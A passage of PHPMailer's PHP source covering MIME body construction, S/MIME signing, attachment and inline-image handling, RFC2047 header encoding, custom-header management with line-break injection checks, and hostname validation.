static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); } $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[2]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[3] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[3], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[3]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; default: //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types //Reset the `Encoding` property in case we changed it for line length reasons $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; if ($this->exceptions) { throw new Exception(self::lang('empty_message'), self::STOP_CRITICAL); } } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new Exception(self::lang('extension_missing') . 'openssl'); } $file = tempnam(sys_get_temp_dir(), 'srcsign'); $signed = tempnam(sys_get_temp_dir(), 'mailsign'); file_put_contents($file, $body); //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [] ); } else { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file ); } @unlink($file); if ($sign) { $body = file_get_contents($signed); @unlink($signed); //The message returned by openssl contains both headers and body, so need to split them up $parts = explode("\n\n", $body, 2); $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE; $body = $parts[1]; } else { @unlink($signed); throw new Exception(self::lang('signing') . openssl_error_string()); } } catch (Exception $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } /** * Get the boundaries that this message will use * @return array */ public function getBoundaries() { if (empty($this->boundary)) { $this->setBoundaries(); } return $this->boundary; } /** * Return the start of a message boundary. * * @param string $boundary * @param string $charSet * @param string $contentType * @param string $encoding * * @return string */ protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ('' === $charSet) { $charSet = $this->CharSet; } if ('' === $contentType) { $contentType = $this->ContentType; } if ('' === $encoding) { $encoding = $this->Encoding; } $result .= $this->textLine('--' . $boundary); $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); $result .= static::$LE; //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); } $result .= static::$LE; return $result; } /** * Return the end of a message boundary. * * @param string $boundary * * @return string */ protected function endBoundary($boundary) { return static::$LE . '--' . $boundary . '--' . static::$LE; } /** * Set the message type. * PHPMailer only supports some preset message types, not arbitrary MIME structures. */ protected function setMessageType() { $type = []; if ($this->alternativeExists()) { $type[] = 'alt'; } if ($this->inlineImageExists()) { $type[] = 'inline'; } if ($this->attachmentExists()) { $type[] = 'attach'; } $this->message_type = implode('_', $type); if ('' === $this->message_type) { //The 'plain' message_type refers to the message having a single body element, not that it is plain-text $this->message_type = 'plain'; } } /** * Format a header line. * * @param string $name * @param string|int $value * * @return string */ public function headerLine($name, $value) { return $name . ': ' . $value . static::$LE; } /** * Return a formatted mail line. * * @param string $value * * @return string */ public function textLine($value) { return $value . static::$LE; } /** * Add an attachment from a path on the filesystem. * Never use a user-supplied path to a file! * Returns false if the file could not be found or read. * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client. * If you need to do that, fetch the resource yourself and pass it in via a local file or string. * * @param string $path Path to the attachment * @param string $name Overrides the attachment name * @param string $encoding File encoding (see $Encoding) * @param string $type MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified * @param string $disposition Disposition to use * * @throws Exception * * @return bool */ public function addAttachment( $path, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception(self::lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $name, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Return the array of attachments. * * @return array */ public function getAttachments() { return $this->attachment; } /** * Attach all file, string, and binary attachments to the message. * Returns an empty string on failure. * * @param string $disposition_type * @param string $boundary * * @throws Exception * * @return string */ protected function attachAll($disposition_type, $boundary) { //Return text of body $mime = []; $cidUniq = []; $incl = []; //Add all attachments foreach ($this->attachment as $attachment) { //Check if it is a valid disposition_filter if ($attachment[6] === $disposition_type) { //Check for string attachment $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = hash('sha256', serialize($attachment)); if (in_array($inclhash, $incl, true)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf('--%s%s', $boundary, static::$LE); //Only include a filename property if we have one if (!empty($name)) { $mime[] = sprintf( 'Content-Type: %s; name=%s%s', $type, static::quotedString($this->encodeHeader($this->secureHeader($name))), static::$LE ); } else { $mime[] = sprintf( 'Content-Type: %s%s', $type, static::$LE ); } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE); } //Only set Content-IDs on inline attachments if ((string) $cid !== '' && $disposition === 'inline') { $mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE; } //Allow for bypassing the Content-Disposition header if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (!empty($encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s; filename=%s%s', $disposition, static::quotedString($encoded_name), static::$LE . static::$LE ); } else { $mime[] = sprintf( 'Content-Disposition: %s%s', $disposition, static::$LE . static::$LE ); } } else { $mime[] = static::$LE; } //Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding); } else { $mime[] = $this->encodeFile($path, $encoding); } if ($this->isError()) { return ''; } $mime[] = static::$LE; } } $mime[] = sprintf('--%s--%s', $boundary, static::$LE); return implode('', $mime); } /** * Encode a file attachment in requested format. * Returns an empty string on failure. * * @param string $path The full path to the file * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @return string */ protected function encodeFile($path, $encoding = self::ENCODING_BASE64) { try { if (!static::fileIsAccessible($path)) { throw new Exception(self::lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = file_get_contents($path); if (false === $file_buffer) { throw new Exception(self::lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = $this->encodeString($file_buffer, $encoding); return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return ''; } } /** * Encode a string in requested format. * Returns an empty string on failure. * * @param string $str The text to encode * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @throws Exception * * @return string */ public function encodeString($str, $encoding = self::ENCODING_BASE64) { $encoded = ''; switch (strtolower($encoding)) { case static::ENCODING_BASE64: $encoded = chunk_split( base64_encode($str), static::STD_LINE_LENGTH, static::$LE ); break; case static::ENCODING_7BIT: case static::ENCODING_8BIT: $encoded = static::normalizeBreaks($str); //Make sure it ends with a line break if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) { $encoded .= static::$LE; } break; case static::ENCODING_BINARY: $encoded = $str; break; case static::ENCODING_QUOTED_PRINTABLE: $encoded = $this->encodeQP($str); break; default: $this->setError(self::lang('encoding') . $encoding); if ($this->exceptions) { throw new Exception(self::lang('encoding') . $encoding); } break; } return $encoded; } /** * Encode a header value (not including its label) optimally. * Picks shortest of Q, B, or none. Result includes folding if needed. * See RFC822 definitions for phrase, comment and text positions, * and RFC2047 for inline encodings. * * @param string $str The header value to encode * @param string $position What context the string will be used in * * @return string */ public function encodeHeader($str, $position = 'text') { $position = strtolower($position); if ($this->UseSMTPUTF8 && !("comment" === $position)) { return trim(static::normalizeBreaks($str)); } $matchcount = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { //Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\""); if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return $encoded; } return "\"$encoded\""; } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); break; /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches); //fallthrough case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); break; } if ($this->has8bitChars($str)) { $charset = $this->CharSet; } else { $charset = static::CHARSET_ASCII; } //Q/B encoding adds 8 chars and the charset ("` =?<charset>?[QB]?<content>?=`"). $overhead = 8 + strlen($charset); if ('mail' === $this->Mailer) { $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead; } else { $maxlen = static::MAX_LINE_LENGTH - $overhead; } //Select the encoding that produces the shortest output and/or prevents corruption. if ($matchcount > strlen($str) / 3) { //More than 1/3 of the content needs encoding, use B-encode. $encoding = 'B'; } elseif ($matchcount > 0) { //Less than 1/3 of the content needs encoding, use Q-encode. $encoding = 'Q'; } elseif (strlen($str) > $maxlen) { //No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption. $encoding = 'Q'; } else { //No reformatting needed $encoding = false; } switch ($encoding) { case 'B': if ($this->hasMultiBytes($str)) { //Use a custom function which correctly encodes and wraps long //multibyte strings without breaking lines within a character $encoded = $this->base64EncodeWrapMB($str, "\n"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\n")); } $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; case 'Q': $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace('=' . static::$LE, "\n", trim($encoded)); $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; default: return $str; } return trim(static::normalizeBreaks($encoded)); } /** * Decode an RFC2047-encoded header value * Attempts multiple strategies so it works even when the mbstring extension is disabled. * * @param string $value The header value to decode * @param string $charset The target charset to convert to, defaults to ISO-8859-1 for BC * * @return string The decoded header value */ public static function decodeHeader($value, $charset = self::CHARSET_ISO88591) { if (!is_string($value) || $value === '') { return ''; } // Detect the presence of any RFC2047 encoded-words $hasEncodedWord = (bool) preg_match('/=\?.*\?=/s', $value); if ($hasEncodedWord && defined('MB_CASE_UPPER')) { $origCharset = mb_internal_encoding(); // Always decode to UTF-8 to provide a consistent, modern output encoding. mb_internal_encoding($charset); if (PHP_VERSION_ID < 80300) { // Undo any RFC2047-encoded spaces-as-underscores. $value = str_replace('_', '=20', $value); } else { // PHP 8.3+ already interprets underscores as spaces. Remove additional // linear whitespace between adjacent encoded words to avoid double spacing. $value = preg_replace('/(\?=)\s+(=\?)/', '$1$2', $value); } // Decode the header value $value = mb_decode_mimeheader($value); mb_internal_encoding($origCharset); } return $value; } /** * Check if a string contains multi-byte characters. * * @param string $str multi-byte text to wrap encode * * @return bool */ public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return strlen($str) > mb_strlen($str, $this->CharSet); } //Assume no multibytes (we can't handle without mbstring functions anyway) return false; } /** * Does a string contain any 8-bit chars (in any charset)? * * @param string $text * * @return bool */ public function has8bitChars($text) { return (bool) preg_match('/[\x80-\xFF]/', $text); } /** * Encode and wrap long multibyte strings for mail headers * without breaking lines within a character. * Adapted from a function by paravoid. * * @see https://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 * * @param string $str multi-byte text to wrap encode * @param string $linebreak string to use as linefeed/end-of-line * * @return string */ public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?'; $end = '?='; $encoded = ''; if (null === $linebreak) { $linebreak = static::$LE; } $mb_length = mb_strlen($str, $this->CharSet); //Each line must have length <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end); //Average multi-byte ratio $ratio = $mb_length / strlen($str); //Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75); $offset = 0; for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); ++$lookBack; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } //Chomp the last linefeed return substr($encoded, 0, -strlen($linebreak)); } /** * Encode a string in quoted-printable format. * According to RFC2045 section 6.7. * * @param string $string The text to encode * * @return string */ public function encodeQP($string) { return static::normalizeBreaks(quoted_printable_encode($string)); } /** * Encode a string using Q encoding. * * @see https://www.rfc-editor.org/rfc/rfc2047#section-4.2 * * @param string $str the text to encode * @param string $position Where the text is going to be used, see the RFC for what that means * * @return string */ public function encodeQ($str, $position = 'text') { //There should not be any EOL in the string $pattern = ''; $encoded = str_replace(["\r", "\n"], '', $str); switch (strtolower($position)) { case 'phrase': //RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -'; break; /* * RFC 2047 section 5.2. * Build $pattern without including delimiters and [] */ /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $pattern = '\(\)"'; /* Intentional fall through */ case 'text': default: //RFC 2047 section 5.1 //Replace every high ascii, control, =, ? and _ characters $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; break; } $matches = []; if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { //If the string contains an '=', make sure it's the first thing we replace //so as to avoid double-encoding $eqkey = array_search('=', $matches[0], true); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], '='); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } //Replace spaces with _ (more readable than =20) //RFC 2047 section 4.2(2) return str_replace(' ', '_', $encoded); } /** * Add a string or binary attachment (non-filesystem). * This method can be used to attach ascii or binary data, * such as a BLOB record from a database. * * @param string $string String attachment data * @param string $filename Name of the attachment * @param string $encoding File encoding (see $Encoding) * @param string $type File extension (MIME) type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringAttachment( $string, $filename, $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($filename); } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $filename, 2 => static::mb_pathinfo($filename, PATHINFO_BASENAME), 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => 0, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded (inline) attachment from a file. * This can include images, sounds, and just about any other document type. * These differ from 'regular' attachments in that they are intended to be * displayed inline with the message, not just attached for download. * This is used in HTML messages that embed the images * the HTML refers to using the `$cid` value in `img` tags, for example `<img src="cid:mylogo">`. * Never use a user-supplied path to a file! * * @param string $path Path to the attachment * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name Overrides the attachment filename * @param string $encoding File encoding (see $Encoding) defaults to `base64` * @param string $type File MIME type (by default mapped from the `$path` filename's extension) * @param string $disposition Disposition to use: `inline` (default) or `attachment` * (unlikely you want this – {@see `addAttachment()`} instead) * * @return bool True on successfully adding an attachment * @throws Exception * */ public function addEmbeddedImage( $path, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception(self::lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } //Append to $attachment array $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded stringified attachment. * This can include images, sounds, and just about any other document type. * If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type. * * @param string $string The attachment binary data * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name A filename for the attachment. If this contains an extension, * PHPMailer will attempt to set a MIME type for the attachment. * For example 'file.jpg' would get an 'image/jpeg' MIME type. * @param string $encoding File encoding (see $Encoding), defaults to 'base64' * @param string $type MIME type - will be used in preference to any automatically derived type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { //If a MIME type is not specified, try to work it out from the name if ('' === $type && !empty($name)) { $type = static::filenameToType($name); } if (!$this->validateEncoding($encoding)) { throw new Exception(self::lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Validate encodings. * * @param string $encoding * * @return bool */ protected function validateEncoding($encoding) { return in_array( $encoding, [ self::ENCODING_7BIT, self::ENCODING_QUOTED_PRINTABLE, self::ENCODING_BASE64, self::ENCODING_8BIT, self::ENCODING_BINARY, ], true ); } /** * Check if an embedded attachment is present with this cid. * * @param string $cid * * @return bool */ protected function cidExists($cid) { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6] && $cid === $attachment[7]) { return true; } } return false; } /** * Check if an inline attachment is present. * * @return bool */ public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6]) { return true; } } return false; } /** * Check if an attachment (non-inline) is present. * * @return bool */ public function attachmentExists() { foreach ($this->attachment as $attachment) { if ('attachment' === $attachment[6]) { return true; } } return false; } /** * Check if this message has an alternative body set. * * @return bool */ public function alternativeExists() { return !empty($this->AltBody); } /** * Clear queued addresses of given kind. * * @param string $kind 'to', 'cc', or 'bcc' */ public function clearQueuedAddresses($kind) { $this->RecipientsQueue = array_filter( $this->RecipientsQueue, static function ($params) use ($kind) { return $params[0] !== $kind; } ); } /** * Clear all To recipients. */ public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = []; $this->clearQueuedAddresses('to'); } /** * Clear all CC recipients. */ public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = []; $this->clearQueuedAddresses('cc'); } /** * Clear all BCC recipients. */ public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = []; $this->clearQueuedAddresses('bcc'); } /** * Clear all ReplyTo recipients. */ public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } /** * Clear all recipient types. */ public function clearAllRecipients() { $this->to = []; $this->cc = []; $this->bcc = []; $this->all_recipients = []; $this->RecipientsQueue = []; } /** * Clear all filesystem, string, and binary attachments. */ public function clearAttachments() { $this->attachment = []; } /** * Clear all custom headers. */ public function clearCustomHeaders() { $this->CustomHeader = []; } /** * Clear a specific custom header by name or name and value. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was replaced successfully */ public function clearCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? null : trim($value); foreach ($this->CustomHeader as $k => $pair) { if ($pair[0] == $name) { // We remove the header if the value is not provided or it matches. if (null === $value || $pair[1] == $value) { unset($this->CustomHeader[$k]); } } } return true; } /** * Replace a custom header. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was replaced successfully * @throws Exception */ public function replaceCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? '' : trim($value); $replaced = false; foreach ($this->CustomHeader as $k => $pair) { if ($pair[0] == $name) { if ($replaced) { unset($this->CustomHeader[$k]); continue; } if (strpbrk($name . $value, "\r\n") !== false) { if ($this->exceptions) { throw new Exception(self::lang('invalid_header')); } return false; } $this->CustomHeader[$k] = [$name, $value]; $replaced = true; } } return true; } /** * Add an error message to the error container. * * @param string $msg */ protected function setError($msg) { ++$this->error_count; if ('smtp' === $this->Mailer && null !== $this->smtp) { $lasterror = $this->smtp->getError(); if (!empty($lasterror['error'])) { $msg .= ' ' . self::lang('smtp_error') . $lasterror['error']; if (!empty($lasterror['detail'])) { $msg .= ' ' . self::lang('smtp_detail') . $lasterror['detail']; } if (!empty($lasterror['smtp_code'])) { $msg .= ' ' . self::lang('smtp_code') . $lasterror['smtp_code']; } if (!empty($lasterror['smtp_code_ex'])) { $msg .= ' ' . self::lang('smtp_code_ex') . $lasterror['smtp_code_ex']; } } } $this->ErrorInfo = $msg; } /** * Return an RFC 822 formatted date. * * @return string */ public static function rfcDate() { //Set the time zone to whatever the default is to avoid 500 errors //Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get()); return date('D, j M Y H:i:s O'); } /** * Get the server hostname. * Returns 'localhost.localdomain' if unknown. * * @return string */ protected function serverHostname() { $result = ''; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) { $result = $_SERVER['SERVER_NAME']; } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname(); } elseif (php_uname('n') !== '') { $result = php_uname('n'); } if (!static::isValidHost($result)) { return 'localhost.localdomain'; } return $result; } /** * Validate whether a string contains a valid value to use as a hostname or IP address. * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`. * * @param string $host The host name or IP address to check * * @return bool */ public static function isValidHost($host) { //Simple syntax limits if ( empty($host) || !is_string($host) || strlen($host) > 256 || !preg_match('/^([a-z\d.-]*|\[[a-f\d:]+\])$/i', $host) ) { return false; } //Looks like a bracketed IPv6 address if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') { return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; } //If removing all the dots results in a numeric string, it must be an IPv4 address. //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names if (is_numeric(str_replace('.', '', $host))) { //Is it a valid IPv4 address? return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false; } //Is it a syntactically valid hostname (when embedded in a URL)? return filter_var('https://' . $host, FILTER_VALIDATE_URL) !== false; } /** * Check whether the supplied address uses Unicode in the local part. * * @return bool */ protected function addressHasUnicodeLocalPart($address) { return (bool) preg_match('/[\x80-\xFF].*@/', $address); } /** * Check whether any of the supplied addresses use Unicode in the local part. * * @return bool */ protected function anyAddressHasUnicodeLocalPart($addresses) { foreach ($addresses as $address) { if (is_array($address)) { $address = $address[0]; } if ($this->addressHasUnicodeLocalPart($address)) { return true; } } return false; } /** * Check whether the message requires SMTPUTF8 based on what's known so far. * * @return bool */ public function needsSMTPUTF8() { return $this->UseSMTPUTF8; } /** * Get an error message in the current language. * * @param string $key * * @return string */ protected static function lang($key) { if (count(self::$language) < 1) { self::setLanguage(); //Set the default language } if (array_key_exists($key, self::$language)) { if ('smtp_connect_failed' === $key) { //Include a link to troubleshooting docs on SMTP connection failure. //This is by far the biggest cause of support questions //but it's usually not PHPMailer's fault. return self::$language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; } return self::$language[$key]; } //Return the key as a fallback return $key; } /** * Build an error message starting with a generic one and adding details if possible. * * @param string $base_key * @return string */ private function getSmtpErrorMessage($base_key) { $message = self::lang($base_key); $error = $this->smtp->getError(); if (!empty($error['error'])) { $message .= ' ' . $error['error']; if (!empty($error['detail'])) { $message .= ' ' . $error['detail']; } } return $message; } /** * Check if an error occurred. * * @return bool True if an error did occur */ public function isError() { return $this->error_count > 0; } /** * Add a custom header. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was set successfully * @throws Exception */ public function addCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? '' : trim($value); //Ensure name is not empty, and that neither name nor value contain line breaks if (empty($name) || strpbrk($name . $value, "\r\n") !== false) { if ($this->exceptions) { throw new Exception(self::lang('invalid_header')); } return false; } $this->CustomHeader[] = [$name, $value]; return true; } /** * Returns all custom headers. * * @return array */ public function getCustomHeaders() { return $this->CustomHeader; } /** * Create a message body from an HTML string. * Automatically inlines images and creates a plain-text version by converting the HTML, * overwriting any existing values in Body and AltBody. * Do not source $message content from user input! * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty * will look for an image file in $basedir/images/a.png and convert it to inline. * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email) * Converts data-uri images into embedded attachments. * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly. * * @param string $message HTML message string * @param string $basedir Absolute path to a base directory to prepend to relative paths to images * @param bool|callable $advanced Whether to use the internal HTML to text converter * or your own custom converter * @return string The transformed message body * * @throws Exception * * @see PHPMailer::html2text() */ public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all('/(?<!-)(src|background)=["\'](.*)["\']/Ui', $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) { //Ensure $basedir has a trailing / $basedir .= '/'; } foreach ($images[2] as $imgindex => $url) { //Convert data URIs into embedded images //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" $match = []; if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) { if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) { $data = base64_decode($match[3]); } elseif ('' === $match[2]) { $data = rawurldecode($match[3]); } else { //Not recognised so leave it alone continue; } //Hash the decoded data, not the URL, so that the same data-URI image used in multiple places //will only be embedded once, even if it used a different encoding $cid = substr(hash('sha256', $data), 0, 32) . '@phpmailer.0'; //RFC2392 S 2 if (!$this->cidExists($cid)) { $this->addStringEmbeddedImage( $data, $cid, 'embed' . $imgindex, static::ENCODING_BASE64, $match[1] ); } $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); continue; } if ( //Only process relative URLs if a basedir is provided (i.e. no absolute local paths) !empty($basedir) //Ignore URLs containing parent dir traversal (..) && (strpos($url, '..') === false) //Do not change urls that are already inline images && 0 !== strpos($url, 'cid:') //Do not change absolute URLs, including anonymous protocol && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url) ) { $filename = static::mb_pathinfo($url, PATHINFO_BASENAME); $directory = dirname($url); if ('.' === $directory) { $directory = ''; } //RFC2392 S 2 $cid = substr(hash('sha256', $url), 0, 32) . '@phpmailer.0'; if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) { $basedir .= 